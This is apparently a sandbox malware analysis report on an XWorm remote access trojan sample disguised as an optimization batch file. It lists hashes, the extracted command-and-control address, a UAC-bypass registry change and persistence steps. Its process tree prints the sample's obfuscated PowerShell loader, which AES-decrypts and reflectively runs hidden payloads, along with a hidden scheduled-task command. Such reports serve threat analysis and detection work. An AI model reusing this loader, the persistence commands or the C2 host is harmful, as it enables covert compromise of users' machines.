xworm | b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef

Analysis

max time kernel
46s
max time network
49s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
13/06/2024, 01:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SpleenysOptimizationPanel.bat
Size 1.1MB
Sample240613-bct8xayapd
SHA256 b0359c1018ab5d04e21ead075475b6866d48ed11ba8dbc9022f007d1bd2da2ef
MD5 5f3a46a1712209c4e58fa99dd644ff8f
SHA1 23f16789e9182e556409dd9baf947ffc1009571f
SHA512 7ee0b67a994a72a75c60ab785655da574badad93939dc6540bdf294dd42e724cddf0bfc94cb05dcbabfe1381fd7cead736890005c084d24e11e6f741aa51f492
SSDEEP 24576:jQ0fWLaf/+d7V2gli2kC/RhLgZ8RXqZQGJeHIWzqNw5:jJ3M77fnLgZ8RXVoE
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm evasion execution persistence rat trojan

Malware Config

Extracted

Family

xworm

loans-clip.gl.at.ply.gg:6807

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 5 IoCs

resource	yara_rule
behavioral2/memory/4868-16-0x000001BEBC170000-0x000001BEBC282000-memory.dmp	family_xworm
behavioral2/memory/1036-147-0x000001DAE17B0000-0x000001DAE17E6000-memory.dmp	family_xworm
behavioral2/files/0x00090000000234f6-152.dat	family_xworm
behavioral2/memory/1676-161-0x0000000000AB0000-0x0000000000AE6000-memory.dmp	family_xworm
behavioral2/memory/3408-305-0x000002211A810000-0x000002211A848000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
12	1036	powershell.exe
14	3408	powershell.exe
16	1036	powershell.exe
27	3408	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4868	powershell.exe
3724	powershell.exe
1036	powershell.exe
1952	powershell.exe
3228	powershell.exe
3408	powershell.exe
1364	powershell.exe
1400	powershell.exe
2344	powershell.exe
1460	powershell.exe
4776	powershell.exe
548	powershell.exe
3908	powershell.exe
972	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1676	XClient.exe
4468	Microsoft Edge

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft Edge"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft Edge"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\$phantom-RuntimeBroker_startup_264_str	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft Edge	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File created	C:\Windows\system32\SleepStudy\user-not-present-trace-2024-06-13-01-01-22.etl	svchost.exe
File opened for modification	C:\Windows\system32\SleepStudy\user-not-present-trace-2024-06-13-01-01-22.etl	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2308	schtasks.exe
4512	schtasks.exe

Modifies registry class 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133627140698722378"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133627140704035006"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133627140829055753"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1	svchost.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4492	reg.exe
224	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4868	powershell.exe
4868	powershell.exe
3724	powershell.exe
3724	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1952	powershell.exe
1952	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
3228	powershell.exe
3228	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
548	powershell.exe
548	powershell.exe
548	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
3908	powershell.exe
3908	powershell.exe
3908	powershell.exe
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
1364	powershell.exe
1364	powershell.exe
1364	powershell.exe
1036	powershell.exe
1036	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	3724	powershell.exe
Token: SeIncreaseQuotaPrivilege	3724	powershell.exe
Token: SeSecurityPrivilege	3724	powershell.exe
Token: SeTakeOwnershipPrivilege	3724	powershell.exe
Token: SeLoadDriverPrivilege	3724	powershell.exe
Token: SeSystemProfilePrivilege	3724	powershell.exe
Token: SeSystemtimePrivilege	3724	powershell.exe
Token: SeProfSingleProcessPrivilege	3724	powershell.exe
Token: SeIncBasePriorityPrivilege	3724	powershell.exe
Token: SeCreatePagefilePrivilege	3724	powershell.exe
Token: SeBackupPrivilege	3724	powershell.exe
Token: SeRestorePrivilege	3724	powershell.exe
Token: SeShutdownPrivilege	3724	powershell.exe
Token: SeDebugPrivilege	3724	powershell.exe
Token: SeSystemEnvironmentPrivilege	3724	powershell.exe
Token: SeRemoteShutdownPrivilege	3724	powershell.exe
Token: SeUndockPrivilege	3724	powershell.exe
Token: SeManageVolumePrivilege	3724	powershell.exe
Token: 33	3724	powershell.exe
Token: 34	3724	powershell.exe
Token: 35	3724	powershell.exe
Token: 36	3724	powershell.exe
Token: SeIncreaseQuotaPrivilege	3724	powershell.exe
Token: SeSecurityPrivilege	3724	powershell.exe
Token: SeTakeOwnershipPrivilege	3724	powershell.exe
Token: SeLoadDriverPrivilege	3724	powershell.exe
Token: SeSystemProfilePrivilege	3724	powershell.exe
Token: SeSystemtimePrivilege	3724	powershell.exe
Token: SeProfSingleProcessPrivilege	3724	powershell.exe
Token: SeIncBasePriorityPrivilege	3724	powershell.exe
Token: SeCreatePagefilePrivilege	3724	powershell.exe
Token: SeBackupPrivilege	3724	powershell.exe
Token: SeRestorePrivilege	3724	powershell.exe
Token: SeShutdownPrivilege	3724	powershell.exe
Token: SeDebugPrivilege	3724	powershell.exe
Token: SeSystemEnvironmentPrivilege	3724	powershell.exe
Token: SeRemoteShutdownPrivilege	3724	powershell.exe
Token: SeUndockPrivilege	3724	powershell.exe
Token: SeManageVolumePrivilege	3724	powershell.exe
Token: 33	3724	powershell.exe
Token: 34	3724	powershell.exe
Token: 35	3724	powershell.exe
Token: 36	3724	powershell.exe
Token: SeIncreaseQuotaPrivilege	3724	powershell.exe
Token: SeSecurityPrivilege	3724	powershell.exe
Token: SeTakeOwnershipPrivilege	3724	powershell.exe
Token: SeLoadDriverPrivilege	3724	powershell.exe
Token: SeSystemProfilePrivilege	3724	powershell.exe
Token: SeSystemtimePrivilege	3724	powershell.exe
Token: SeProfSingleProcessPrivilege	3724	powershell.exe
Token: SeIncBasePriorityPrivilege	3724	powershell.exe
Token: SeCreatePagefilePrivilege	3724	powershell.exe
Token: SeBackupPrivilege	3724	powershell.exe
Token: SeRestorePrivilege	3724	powershell.exe
Token: SeShutdownPrivilege	3724	powershell.exe
Token: SeDebugPrivilege	3724	powershell.exe
Token: SeSystemEnvironmentPrivilege	3724	powershell.exe
Token: SeRemoteShutdownPrivilege	3724	powershell.exe
Token: SeUndockPrivilege	3724	powershell.exe
Token: SeManageVolumePrivilege	3724	powershell.exe
Token: 33	3724	powershell.exe
Token: 34	3724	powershell.exe
Token: 35	3724	powershell.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1036	powershell.exe
3408	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 684 wrote to memory of 4988	684	cmd.exe	87
PID 684 wrote to memory of 4988	684	cmd.exe	87
PID 684 wrote to memory of 4868	684	cmd.exe	88
PID 684 wrote to memory of 4868	684	cmd.exe	88
PID 4868 wrote to memory of 3724	4868	powershell.exe	89
PID 4868 wrote to memory of 3724	4868	powershell.exe	89
PID 4868 wrote to memory of 1600	4868	powershell.exe	92
PID 4868 wrote to memory of 1600	4868	powershell.exe	92
PID 1600 wrote to memory of 368	1600	WScript.exe	93
PID 1600 wrote to memory of 368	1600	WScript.exe	93
PID 368 wrote to memory of 1080	368	cmd.exe	95
PID 368 wrote to memory of 1080	368	cmd.exe	95
PID 368 wrote to memory of 1036	368	cmd.exe	96
PID 368 wrote to memory of 1036	368	cmd.exe	96
PID 1036 wrote to memory of 3260	1036	powershell.exe	54
PID 1036 wrote to memory of 2752	1036	powershell.exe	47
PID 1036 wrote to memory of 2948	1036	powershell.exe	68
PID 1036 wrote to memory of 960	1036	powershell.exe	12
PID 1036 wrote to memory of 2728	1036	powershell.exe	46
PID 1036 wrote to memory of 1544	1036	powershell.exe	27
PID 1036 wrote to memory of 2916	1036	powershell.exe	50
PID 1036 wrote to memory of 2124	1036	powershell.exe	39
PID 1036 wrote to memory of 1328	1036	powershell.exe	23
PID 1036 wrote to memory of 4304	1036	powershell.exe	64
PID 1036 wrote to memory of 868	1036	powershell.exe	16
PID 1036 wrote to memory of 4056	1036	powershell.exe	69
PID 1036 wrote to memory of 1708	1036	powershell.exe	31
PID 1036 wrote to memory of 1700	1036	powershell.exe	30
PID 1036 wrote to memory of 3612	1036	powershell.exe	57
PID 1036 wrote to memory of 1304	1036	powershell.exe	22
PID 1036 wrote to memory of 2288	1036	powershell.exe	41
PID 1036 wrote to memory of 1892	1036	powershell.exe	72
PID 1036 wrote to memory of 912	1036	powershell.exe	11
PID 1036 wrote to memory of 1100	1036	powershell.exe	19
PID 1036 wrote to memory of 1092	1036	powershell.exe	18
PID 1036 wrote to memory of 1484	1036	powershell.exe	26
PID 1036 wrote to memory of 1876	1036	powershell.exe	33
PID 1036 wrote to memory of 1644	1036	powershell.exe	29
PID 1036 wrote to memory of 1084	1036	powershell.exe	17
PID 1036 wrote to memory of 2068	1036	powershell.exe	37
PID 1036 wrote to memory of 1476	1036	powershell.exe	25
PID 1036 wrote to memory of 1276	1036	powershell.exe	36
PID 1036 wrote to memory of 1860	1036	powershell.exe	32
PID 1036 wrote to memory of 2844	1036	powershell.exe	49
PID 1036 wrote to memory of 2236	1036	powershell.exe	40
PID 1036 wrote to memory of 3416	1036	powershell.exe	56
PID 1036 wrote to memory of 656	1036	powershell.exe	15
PID 1036 wrote to memory of 800	1036	powershell.exe	10
PID 1036 wrote to memory of 1436	1036	powershell.exe	24
PID 1036 wrote to memory of 540	1036	powershell.exe	66
PID 1036 wrote to memory of 2024	1036	powershell.exe	35
PID 1036 wrote to memory of 2016	1036	powershell.exe	34
PID 1036 wrote to memory of 2604	1036	powershell.exe	44
PID 1036 wrote to memory of 1604	1036	powershell.exe	28
PID 1036 wrote to memory of 408	1036	powershell.exe	14
PID 1036 wrote to memory of 2968	1036	powershell.exe	53
PID 1036 wrote to memory of 2456	1036	powershell.exe	43
PID 1036 wrote to memory of 1228	1036	powershell.exe	21
PID 1036 wrote to memory of 1184	1036	powershell.exe	20
PID 1036 wrote to memory of 2956	1036	powershell.exe	52
PID 1036 wrote to memory of 1408	1036	powershell.exe	97
PID 1036 wrote to memory of 1408	1036	powershell.exe	97
PID 1036 wrote to memory of 1676	1036	powershell.exe	99
PID 1036 wrote to memory of 1676	1036	powershell.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Drops file in System32 directory
- Modifies registry class
PID:800
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
  2⤵
  PID:4632
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
  2⤵
  PID:3840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:868

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1092
- C:\Users\Admin\AppData\Roaming\Microsoft Edge
  "C:\Users\Admin\AppData\Roaming\Microsoft Edge"
  2⤵
  - Executes dropped EXE
  PID:4468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1304

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2968

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizationPanel.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RidMGvr6PLJ5yftWUfWmoxOVKDOxqx5RRPt0bLzTEfc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O+igjiht9xQbulK8zzRJZQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SrOue=New-Object System.IO.MemoryStream(,$param_var); $OtVAb=New-Object System.IO.MemoryStream; $vWrRZ=New-Object System.IO.Compression.GZipStream($SrOue, [IO.Compression.CompressionMode]::Decompress); $vWrRZ.CopyTo($OtVAb); $vWrRZ.Dispose(); $SrOue.Dispose(); $OtVAb.Dispose(); $OtVAb.ToArray();}function execute_function($param_var,$param2_var){ $oXrWG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bBdVc=$oXrWG.EntryPoint; $bBdVc.Invoke($null, $param2_var);}$pMrVs = 'C:\Users\Admin\AppData\Local\Temp\SpleenysOptimizationPanel.bat';$host.UI.RawUI.WindowTitle = $pMrVs;$orfmP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMrVs).Split([Environment]::NewLine);foreach ($XWbeO in $orfmP) { if ($XWbeO.StartsWith('lilsuawYCydygtZyEeYr')) { $tJIdw=$XWbeO.Substring(20); break; }}$payloads_var=[string[]]$tJIdw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_812_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3724
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1600
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:368
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RidMGvr6PLJ5yftWUfWmoxOVKDOxqx5RRPt0bLzTEfc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O+igjiht9xQbulK8zzRJZQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SrOue=New-Object System.IO.MemoryStream(,$param_var); $OtVAb=New-Object System.IO.MemoryStream; $vWrRZ=New-Object System.IO.Compression.GZipStream($SrOue, [IO.Compression.CompressionMode]::Decompress); $vWrRZ.CopyTo($OtVAb); $vWrRZ.Dispose(); $SrOue.Dispose(); $OtVAb.Dispose(); $OtVAb.ToArray();}function execute_function($param_var,$param2_var){ $oXrWG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bBdVc=$oXrWG.EntryPoint; $bBdVc.Invoke($null, $param2_var);}$pMrVs = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_812.bat';$host.UI.RawUI.WindowTitle = $pMrVs;$orfmP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMrVs).Split([Environment]::NewLine);foreach ($XWbeO in $orfmP) { if ($XWbeO.StartsWith('lilsuawYCydygtZyEeYr')) { $tJIdw=$XWbeO.Substring(20); break; }}$payloads_var=[string[]]$tJIdw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join 